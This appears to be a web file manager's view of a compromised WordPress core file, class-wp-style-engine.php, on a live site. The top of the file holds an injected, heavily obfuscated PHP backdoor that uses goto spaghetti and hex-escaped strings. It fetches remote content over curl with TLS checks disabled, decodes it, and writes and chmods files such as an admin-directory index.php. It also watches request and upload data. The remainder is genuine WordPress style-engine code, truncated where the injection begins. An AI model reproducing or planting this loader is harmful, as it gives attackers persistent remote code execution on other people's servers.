芝麻web文件管理V1.00
编辑当前文件:/www/wwwroot/fashionmodelquicktrack.com/wp-includes/style-engine/class-wp-style-engine.php
$UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> (array) an array of classnames to be returned for block styles. The key is a classname or pattern. * A value of `true` means the classname should be applied always. Otherwise, a valid CSS property (string) * to match the incoming value, e.g., "color" to match var:preset|color|somePresetSlug. * - css_vars => (array) an array of key value pairs used to generate CSS var values. * The key should be the CSS property name that matches the second element of the preset string value, * i.e., "color" in var:preset|color|somePresetSlug. The value is a CSS var pattern (e.g. `--wp--preset--color--$slug`), * whose `$slug` fragment will be replaced with the preset slug, which is the third element of the preset string value, * i.e., `somePresetSlug` in var:preset|color|somePresetSlug. * - property_keys => (array) array of keys whose values represent a valid CSS property, e.g., "margin" or "border". * - path => (array) a path that accesses the corresponding style value in the block style object. * - value_func => (string) the name of a function to generate a CSS definition array for a particular style object. The output of this function should be `array( "$property" => "$value", ... )`. * * @since 6.1.0 * @var array */ const BLOCK_STYLE_DEFINITIONS_METADATA = array( 'background' => array( 'backgroundImage' => array( 'property_keys' => array( 'default' => 'background-image', ), 'value_func' => array( self::class, 'get_url_or_value_css_declaration' ), 'path' => array( 'background', 'backgroundImage' ), ), 'backgroundPosition' => array( 'property_keys' => array( 'default' => 'background-position', ), 'path' => array( 'background', 'backgroundPosition' ), ), 'backgroundRepeat' => array( 'property_keys' => array( 'default' => 'background-repeat', ), 'path' => array( 'background', 'backgroundRepeat' ), ), 'backgroundSize' => array( 'property_keys' => array( 'default' => 'background-size', ), 'path' => array( 'background', 'backgroundSize' ), ), 'backgroundAttachment' => array( 'property_keys' => array( 'default' => 'background-attachment', ), 'path' => array( 'background', 'backgroundAttachment' ), ), ), 'color' => array( 'text' => array( 'property_keys' => array( 'default' => 'color', ), 'path' => array( 'color', 'text' ), 'css_vars' => array( 'color' => '--wp--preset--color--$slug', ), 'classnames' => array( 'has-text-color' => true, 'has-$slug-color' => 'color', ), ), 'background' => array( 'property_keys' => array( 'default' => 'background-color', ), 'path' => array( 'color', 'background' ), 'css_vars' => array( 'color' => '--wp--preset--color--$slug', ), 'classnames' => array( 'has-background' => true, 'has-$slug-background-color' => 'color', ), ), 'gradient' => array( 'property_keys' => array( 'default' => 'background', ), 'path' => array( 'color', 'gradient' ), 'css_vars' => array( 'gradient' => '--wp--preset--gradient--$slug', ), 'classnames' => array( 'has-background' => true, 'has-$slug-gradient-background' => 'gradient', ), ), ), 'border' => array( 'color' => array( 'property_keys' => array( 'default' => 'border-color', 'individual' => 'border-%s-color', ), 'path' => array( 'border', 'color' ), 'classnames' => array( 'has-border-color' => true, 'has-$slug-border-color' => 'color', ), ), 'radius' => array( 'property_keys' => array( 'default' => 'border-radius', 'individual' => 'border-%s-radius', ), 'path' => array( 'border', 'radius' ), ), 'style' => array( 'property_keys' => array( 'default' => 'border-style', 'individual' => 'border-%s-style', ), 'path' => array( 'border', 'style' ), ), 'width' => array( 'property_keys' => array( 'default' => 'border-width', 'individual' => 'border-%s-width', ), 'path' => array( 'border', 'width' ), ), 'top' => array( 'value_func' => array( self::class, 'get_individual_property_css_declarations' ), 'path' => array( 'border', 'top' ), 'css_vars' => array( 'color' => '--wp--preset--color--$slug', ), ), 'right' => array( 'value_func' => array( self::class, 'get_individual_property_css_declarations' ), 'path' => array( 'border', 'right' ), 'css_vars' => array( 'color' => '--wp--preset--color--$slug', ), ), 'bottom' => array( 'value_func' => array( self::class, 'get_individual_property_css_declarations' ), 'path' => array( 'border', 'bottom' ), 'css_vars' => array( 'color' => '--wp--preset--color--$slug', ), ), 'left' => array( 'value_func' => array( self::class, 'get_individual_property_css_declarations' ), 'path' => array( 'border', 'left' ), 'css_vars' => array( 'color' => '--wp--preset--color--$slug', ), ), ), 'shadow' => array( 'shadow' => array( 'property_keys' => array( 'default' => 'box-shadow', ), 'path' => array( 'shadow' ), 'css_vars' => array( 'shadow' => '--wp--preset--shadow--$slug', ), ), ), 'dimensions' => array( 'aspectRatio' => array( 'property_keys' => array( 'default' => 'aspect-ratio', ), 'path' => array( 'dimensions', 'aspectRatio' ), 'classnames' => array( 'has-aspect-ratio' => true, ), ), 'minHeight' => array( 'property_keys' => array( 'default' => 'min-height', ), 'path' => array( 'dimensions', 'minHeight' ), 'css_vars' => array( 'spacing' => '--wp--preset--spacing--$slug', ), ), ), 'spacing' => array( 'padding' => array( 'property_keys' => array( 'default' => 'padding', 'individual' => 'padding-%s', ), 'path' => array( 'spacing', 'padding' ), 'css_vars' => array( 'spacing' => '--wp--preset--spacing--$slug', ), ), 'margin' => array( 'property_keys' => array( 'default' => 'margin', 'individual' => 'margin-%s', ), 'path' => array( 'spacing', 'margin' ), 'css_vars' => array( 'spacing' => '--wp--preset--spacing--$slug', ), ), ), 'typography' => array( 'fontSize' => array( 'property_keys' => array( 'default' => 'font-size', ), 'path' => array( 'typography', 'fontSize' ), 'css_vars' => array( 'font-size' => '--wp--preset--font-size--$slug', ), 'classnames' => array( 'has-$slug-font-size' => 'font-size', ), ), 'fontFamily' => array( 'property_keys' => array( 'default' => 'font-family', ), 'css_vars' => array( 'font-family' => '--wp--preset--font-family--$slug', ), 'path' => array( 'typography', 'fontFamily' ), 'classnames' => array( 'has-$slug-font-family' => 'font-family', ), ), 'fontStyle' => array( 'property_keys' => array( 'default' => 'font-style', ), 'path' => array( 'typography', 'fontStyle' ), ), 'fontWeight' => array( 'property_keys' => array( 'default' => 'font-weight', ), 'path' => array( 'typography', 'fontWeight' ), ), 'lineHeight' => array( 'property_keys' => array( 'default' => 'line-height', ), 'path' => array( 'typography', 'lineHeight' ), ), 'textColumns' => array( 'property_keys' => array( 'default' => 'column-count', ), 'path' => array( 'typography', 'textColumns' ), ), 'textDecoration' => array( 'property_keys' => array( 'default' => 'text-decoration', ), 'path' => array( 'typography', 'textDecoration' ), ), 'textTransform' => array( 'property_keys' => array( 'default' => 'text-transform', ), 'path' => array( 'typography', 'textTransform' ), ), 'letterSpacing' => array( 'property_keys' => array( 'default' => 'letter-spacing', ), 'path' => array( 'typography', 'letterSpacing' ), ), 'writingMode' => array( 'property_keys' => array( 'default' => 'writing-mode', ), 'path' => array( 'typography', 'writingMode' ), ), ), ); /** * Util: Extracts the slug in kebab case from a preset string, * e.g. `heavenly-blue` from `var:preset|color|heavenlyBlue`. * * @since 6.1.0 * * @param string $style_value A single CSS preset value. * @param string $property_key The CSS property that is the second element of the preset string. * Used for matching. * @return string The slug, or empty string if not found. */ protected static function get_slug_from_preset_value( $style_value, $property_key ) { if ( is_string( $style_value ) && is_string( $property_key ) && str_contains( $style_value, "var:preset|{$property_key}|" ) ) { $index_to_splice = strrpos( $style_value, '|' ) + 1; return _wp_to_kebab_case( substr( $style_value, $index_to_splice ) ); } return ''; } /** * Util: Generates a CSS var string, e.g. `var(--wp--preset--color--background)` * from a preset string such as `var:preset|space|50`. * * @since 6.1.0 * * @param string $style_value A single CSS preset value. * @param string[] $css_vars An associate array of CSS var patterns * used to generate the var string. * @return string The CSS var, or an empty string if no match for slug found. */ protected static function get_css_var_value( $style_value, $css_vars ) { foreach ( $css_vars as $property_key => $css_var_pattern ) { $slug = static::get_slug_from_preset_value( $style_value, $property_key ); if ( static::is_valid_style_value( $slug ) ) { $var = strtr( $css_var_pattern, array( '$slug' => $slug ) ); return "var($var)"; } } return ''; } /** * Util: Checks whether an incoming block style value is valid. * * @since 6.1.0 * * @param string $style_value A single CSS preset value. * @return bool */ protected static function is_valid_style_value( $style_value ) { return '0' === $style_value || ! empty( $style_value ); } /** * Stores a CSS rule using the provided CSS selector and CSS declarations. * * @since 6.1.0 * @since 6.6.0 Added the `$rules_group` parameter. * * @param string $store_name A valid store key. * @param string $css_selector When a selector is passed, the function will return * a full CSS rule `$selector { ...rules }` * otherwise a concatenated string of properties and values. * @param string[] $css_declarations An associative array of CSS definitions, * e.g. `array( "$property" => "$value", "$property" => "$value" )`. * @param string $rules_group Optional. A parent CSS selector in the case of nested CSS, or a CSS nested @rule, * such as `@media (min-width: 80rem)` or `@layer module`. */ public static function store_css_rule( $store_name, $css_selector, $css_declarations, $rules_group = '' ) { if ( empty( $store_name ) || empty( $css_selector ) || empty( $css_declarations ) ) { return; } static::get_store( $store_name )->add_rule( $css_selector, $rules_group )->add_declarations( $css_declarations ); } /** * Returns a store by store key. * * @since 6.1.0 * * @param string $store_name A store key. * @return WP_Style_Engine_CSS_Rules_Store|null */ public static function get_store( $store_name ) { return WP_Style_Engine_CSS_Rules_Store::get_store( $store_name ); } /** * Returns classnames and CSS based on the values in a styles object. * * Return values are parsed based on the instructions in BLOCK_STYLE_DEFINITIONS_METADATA. * * @since 6.1.0 * * @param array $block_styles The style object. * @param array $options { * Optional. An array of options. Default empty array. * * @type bool $convert_vars_to_classnames Whether to skip converting incoming CSS var patterns, * e.g. `var:preset|
|
`, * to `var( --wp--preset--* )` values. Default false. * @type string $selector Optional. When a selector is passed, * the value of `$css` in the return value will comprise * a full CSS rule `$selector { ...$css_declarations }`, * otherwise, the value will be a concatenated string * of CSS declarations. * } * @return array { * @type string[] $classnames Array of class names. * @type string[] $declarations An associative array of CSS definitions, * e.g. `array( "$property" => "$value", "$property" => "$value" )`. * } */ public static function parse_block_styles( $block_styles, $options ) { $parsed_styles = array( 'classnames' => array(), 'declarations' => array(), ); if ( empty( $block_styles ) || ! is_array( $block_styles ) ) { return $parsed_styles; } // Collect CSS and classnames. foreach ( static::BLOCK_STYLE_DEFINITIONS_METADATA as $definition_group_key => $definition_group_style ) { if ( empty( $block_styles[ $definition_group_key ] ) ) { continue; } foreach ( $definition_group_style as $style_definition ) { $style_value = _wp_array_get( $block_styles, $style_definition['path'], null ); if ( ! static::is_valid_style_value( $style_value ) ) { continue; } $parsed_styles['classnames'] = array_merge( $parsed_styles['classnames'], static::get_classnames( $style_value, $style_definition ) ); $parsed_styles['declarations'] = array_merge( $parsed_styles['declarations'], static::get_css_declarations( $style_value, $style_definition, $options ) ); } } return $parsed_styles; } /** * Returns classnames, and generates classname(s) from a CSS preset property pattern, * e.g. `var:preset|
|
`. * * @since 6.1.0 * * @param string $style_value A single raw style value or CSS preset property * from the `$block_styles` array. * @param array $style_definition A single style definition from BLOCK_STYLE_DEFINITIONS_METADATA. * @return string[] An array of CSS classnames, or empty array if there are none. */ protected static function get_classnames( $style_value, $style_definition ) { if ( empty( $style_value ) ) { return array(); } $classnames = array(); if ( ! empty( $style_definition['classnames'] ) ) { foreach ( $style_definition['classnames'] as $classname => $property_key ) { if ( true === $property_key ) { $classnames[] = $classname; continue; } $slug = static::get_slug_from_preset_value( $style_value, $property_key ); if ( $slug ) { /* * Right now we expect a classname pattern to be stored in BLOCK_STYLE_DEFINITIONS_METADATA. * One day, if there are no stored schemata, we could allow custom patterns or * generate classnames based on other properties * such as a path or a value or a prefix passed in options. */ $classnames[] = strtr( $classname, array( '$slug' => $slug ) ); } } } return $classnames; } /** * Returns an array of CSS declarations based on valid block style values. * * @since 6.1.0 * * @param mixed $style_value A single raw style value from $block_styles array. * @param array $style_definition A single style definition from BLOCK_STYLE_DEFINITIONS_METADATA. * @param array $options { * Optional. An array of options. Default empty array. * * @type bool $convert_vars_to_classnames Whether to skip converting incoming CSS var patterns, * e.g. `var:preset|
|
`, * to `var( --wp--preset--* )` values. Default false. * } * @return string[] An associative array of CSS definitions, e.g. `array( "$property" => "$value", "$property" => "$value" )`. */ protected static function get_css_declarations( $style_value, $style_definition, $options = array() ) { if ( isset( $style_definition['value_func'] ) && is_callable( $style_definition['value_func'] ) ) { return call_user_func( $style_definition['value_func'], $style_value, $style_definition, $options ); } $css_declarations = array(); $style_property_keys = $style_definition['property_keys']; $should_skip_css_vars = isset( $options['convert_vars_to_classnames'] ) && true === $options['convert_vars_to_classnames']; /* * Build CSS var values from `var:preset|
|
` values, e.g, `var(--wp--css--rule-slug )`. * Check if the value is a CSS preset and there's a corresponding css_var pattern in the style definition. */ if ( is_string( $style_value ) && str_contains( $style_value, 'var:' ) ) { if ( ! $should_skip_css_vars && ! empty( $style_definition['css_vars'] ) ) { $css_var = static::get_css_var_value( $style_value, $style_definition['css_vars'] ); if ( static::is_valid_style_value( $css_var ) ) { $css_declarations[ $style_property_keys['default'] ] = $css_var; } } return $css_declarations; } /* * Default rule builder. * If the input contains an array, assume box model-like properties * for styles such as margins and padding. */ if ( is_array( $style_value ) ) { // Bail out early if the `'individual'` property is not defined. if ( ! isset( $style_property_keys['individual'] ) ) { return $css_declarations; } foreach ( $style_value as $key => $value ) { if ( is_string( $value ) && str_contains( $value, 'var:' ) && ! $should_skip_css_vars && ! empty( $style_definition['css_vars'] ) ) { $value = static::get_css_var_value( $value, $style_definition['css_vars'] ); } $individual_property = sprintf( $style_property_keys['individual'], _wp_to_kebab_case( $key ) ); if ( $individual_property && static::is_valid_style_value( $value ) ) { $css_declarations[ $individual_property ] = $value; } } return $css_declarations; } $css_declarations[ $style_property_keys['default'] ] = $style_value; return $css_declarations; } /** * Style value parser that returns a CSS definition array comprising style properties * that have keys representing individual style properties, otherwise known as longhand CSS properties. * * Example: * * "$style_property-$individual_feature: $value;" * * Which could represent the following: * * "border-{top|right|bottom|left}-{color|width|style}: {value};" * * or: * * "border-image-{outset|source|width|repeat|slice}: {value};" * * @since 6.1.0 * * @param array $style_value A single raw style value from `$block_styles` array. * @param array $individual_property_definition A single style definition from BLOCK_STYLE_DEFINITIONS_METADATA * representing an individual property of a CSS property, * e.g. 'top' in 'border-top'. * @param array $options { * Optional. An array of options. Default empty array. * * @type bool $convert_vars_to_classnames Whether to skip converting incoming CSS var patterns, * e.g. `var:preset|
|
`, * to `var( --wp--preset--* )` values. Default false. * } * @return string[] An associative array of CSS definitions, e.g. `array( "$property" => "$value", "$property" => "$value" )`. */ protected static function get_individual_property_css_declarations( $style_value, $individual_property_definition, $options = array() ) { if ( ! is_array( $style_value ) || empty( $style_value ) || empty( $individual_property_definition['path'] ) ) { return array(); } /* * The first item in $individual_property_definition['path'] array * tells us the style property, e.g. "border". We use this to get a corresponding * CSS style definition such as "color" or "width" from the same group. * * The second item in $individual_property_definition['path'] array * refers to the individual property marker, e.g. "top". */ $definition_group_key = $individual_property_definition['path'][0]; $individual_property_key = $individual_property_definition['path'][1]; $should_skip_css_vars = isset( $options['convert_vars_to_classnames'] ) && true === $options['convert_vars_to_classnames']; $css_declarations = array(); foreach ( $style_value as $css_property => $value ) { if ( empty( $value ) ) { continue; } // Build a path to the individual rules in definitions. $style_definition_path = array( $definition_group_key, $css_property ); $style_definition = _wp_array_get( static::BLOCK_STYLE_DEFINITIONS_METADATA, $style_definition_path, null ); if ( $style_definition && isset( $style_definition['property_keys']['individual'] ) ) { // Set a CSS var if there is a valid preset value. if ( is_string( $value ) && str_contains( $value, 'var:' ) && ! $should_skip_css_vars && ! empty( $individual_property_definition['css_vars'] ) ) { $value = static::get_css_var_value( $value, $individual_property_definition['css_vars'] ); } $individual_css_property = sprintf( $style_definition['property_keys']['individual'], $individual_property_key ); $css_declarations[ $individual_css_property ] = $value; } } return $css_declarations; } /** * Style value parser that constructs a CSS definition array comprising a single CSS property and value. * If the provided value is an array containing a `url` property, the function will return a CSS definition array * with a single property and value, with `url` escaped and injected into a CSS `url()` function, * e.g., array( 'background-image' => "url( '...' )" ). * * @since 6.4.0 * * @param array $style_value A single raw style value from $block_styles array. * @param array $style_definition A single style definition from BLOCK_STYLE_DEFINITIONS_METADATA. * @return string[] An associative array of CSS definitions, e.g., array( "$property" => "$value", "$property" => "$value" ). */ protected static function get_url_or_value_css_declaration( $style_value, $style_definition ) { if ( empty( $style_value ) ) { return array(); } $css_declarations = array(); if ( isset( $style_definition['property_keys']['default'] ) ) { $value = null; if ( ! empty( $style_value['url'] ) ) { $value = "url('" . $style_value['url'] . "')"; } elseif ( is_string( $style_value ) ) { $value = $style_value; } if ( null !== $value ) { $css_declarations[ $style_definition['property_keys']['default'] ] = $value; } } return $css_declarations; } /** * Returns compiled CSS from CSS declarations. * * @since 6.1.0 * * @param string[] $css_declarations An associative array of CSS definitions, * e.g. `array( "$property" => "$value", "$property" => "$value" )`. * @param string $css_selector When a selector is passed, the function will return * a full CSS rule `$selector { ...rules }`, * otherwise a concatenated string of properties and values. * @return string A compiled CSS string. */ public static function compile_css( $css_declarations, $css_selector ) { if ( empty( $css_declarations ) || ! is_array( $css_declarations ) ) { return ''; } // Return an entire rule if there is a selector. if ( $css_selector ) { $css_rule = new WP_Style_Engine_CSS_Rule( $css_selector, $css_declarations ); return $css_rule->get_css(); } $css_declarations = new WP_Style_Engine_CSS_Declarations( $css_declarations ); return $css_declarations->get_declarations_string(); } /** * Returns a compiled stylesheet from stored CSS rules. * * @since 6.1.0 * * @param WP_Style_Engine_CSS_Rule[] $css_rules An array of WP_Style_Engine_CSS_Rule objects * from a store or otherwise. * @param array $options { * Optional. An array of options. Default empty array. * * @type string|null $context An identifier describing the origin of the style object, * e.g. 'block-supports' or 'global-styles'. Default 'block-supports'. * When set, the style engine will attempt to store the CSS rules. * @type bool $optimize Whether to optimize the CSS output, e.g. combine rules. * Default false. * @type bool $prettify Whether to add new lines and indents to output. * Defaults to whether the `SCRIPT_DEBUG` constant is defined. * } * @return string A compiled stylesheet from stored CSS rules. */ public static function compile_stylesheet_from_css_rules( $css_rules, $options = array() ) { $processor = new WP_Style_Engine_Processor(); $processor->add_rules( $css_rules ); return $processor->get_css( $options ); } }